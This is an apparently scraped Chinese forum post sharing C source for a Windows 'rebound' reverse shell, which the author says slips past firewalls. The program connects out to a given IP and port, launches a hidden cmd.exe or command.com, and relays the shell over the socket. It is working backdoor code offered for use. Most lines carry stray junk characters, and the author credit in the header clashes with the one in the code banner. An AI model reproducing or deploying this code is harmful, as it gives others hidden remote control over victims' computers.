这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 p\ ;|Z+0=
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/* ============================== &tAYF_}
Rebound port in Windows NT aYb97}kI
By wind,2006/7 0O>ClE~P
===============================*/ rFQWgWD
#include }}QR'
#include M
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#pragma comment(lib,"wsock32.lib") \>-
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void OutputShell(); za@/4z
SOCKET sClient; V>`ANZ4
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; HT .*r6Y>g
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void main(int argc,char **argv) _o$jk8jOjW
{ =,#--1R7g
WSADATA stWsaData;
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int nRet; i9DD)Y<
SOCKADDR_IN stSaiClient,stSaiServer;
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if(argc != 3) Wjw,LwB
{ Ptv'.<-
printf("Useage:\n\rRebound DestIP DestPort\n"); r@{TN6U
return; o'!=x$Ky
} WYUDD_m
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WSAStartup(MAKEWORD(2,2),&stWsaData); ?1SsF>|
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0- )K_JV
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stSaiClient.sin_family = AF_INET; Kf[d@L
stSaiClient.sin_port = htons(0); R}M
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $ s/E}X
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) S'jg#*$
{ :hX[8u
printf("Bind Socket Failed!\n"); !wfW0?eu
return; qUkMNo3
} {_O!mI*
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stSaiServer.sin_family = AF_INET; 0Ds3wNz
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); esqmj#G
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,yYcjs!=o
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) vjuFVJwL
{ br[iRda@
printf("Connect Error!"); qz-QVY,
return; 9{toPED
} 69g{oo
OutputShell(); h+FM?ct6}
} @%]A,\
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void OutputShell() 0ns\:2)cEB
{ \HfAKBT
char szBuff[1024]; _v,0"_"
SECURITY_ATTRIBUTES stSecurityAttributes; 2?JV "O=
OSVERSIONINFO stOsversionInfo; 6p9fq3~7Y
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; e5|lz.o;
STARTUPINFO stStartupInfo; D@O`"2
char *szShell; nI\6aG?`
PROCESS_INFORMATION stProcessInformation; 2B
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unsigned long lBytesRead; f!9i6
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); I\~[GsDY
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Yj/afn(Jt
stSecurityAttributes.lpSecurityDescriptor = 0; u\]EG{w(
stSecurityAttributes.bInheritHandle = TRUE; >t+U`6xK
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); G;Li!H
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Joow{75K
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U\KMeaF5e-
stStartupInfo.wShowWindow = SW_HIDE; e97G]XLR
stStartupInfo.hStdInput = hReadPipe; wPlM=
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !}(B=-
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GetVersionEx(&stOsversionInfo); ,>;21\D
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switch(stOsversionInfo.dwPlatformId) 6_CP?X+T
{ uzYB`H<
case 1: #-/W?kD
szShell = "command.com"; "r9Rr_,
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break; z$~x 2<
default: $R9D
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szShell = "cmd.exe"; &d_^k.%y
break; l2D*b93
} d)o5JD/
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); b9bIvjm_
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send(sClient,szMsg,77,0); J=g)rd[`
while(1) a=z] tTs4
{ UcRP/LR%C
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); dSM\:/t
if(lBytesRead) Hfcpqa
{ CMt<oT6.?
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); TEtmmp0OD
send(sClient,szBuff,lBytesRead,0); >!963>D R
} ~Amq1KU*Z
else UP~28%>X
{ LEb$Fd
lBytesRead=recv(sClient,szBuff,1024,0); ?uWUs )9
if(lBytesRead<=0) break; honh'j
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {}O~tf_
} fvu{(Tb
} E~!$&9\
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return; M0V<Ay\%O
}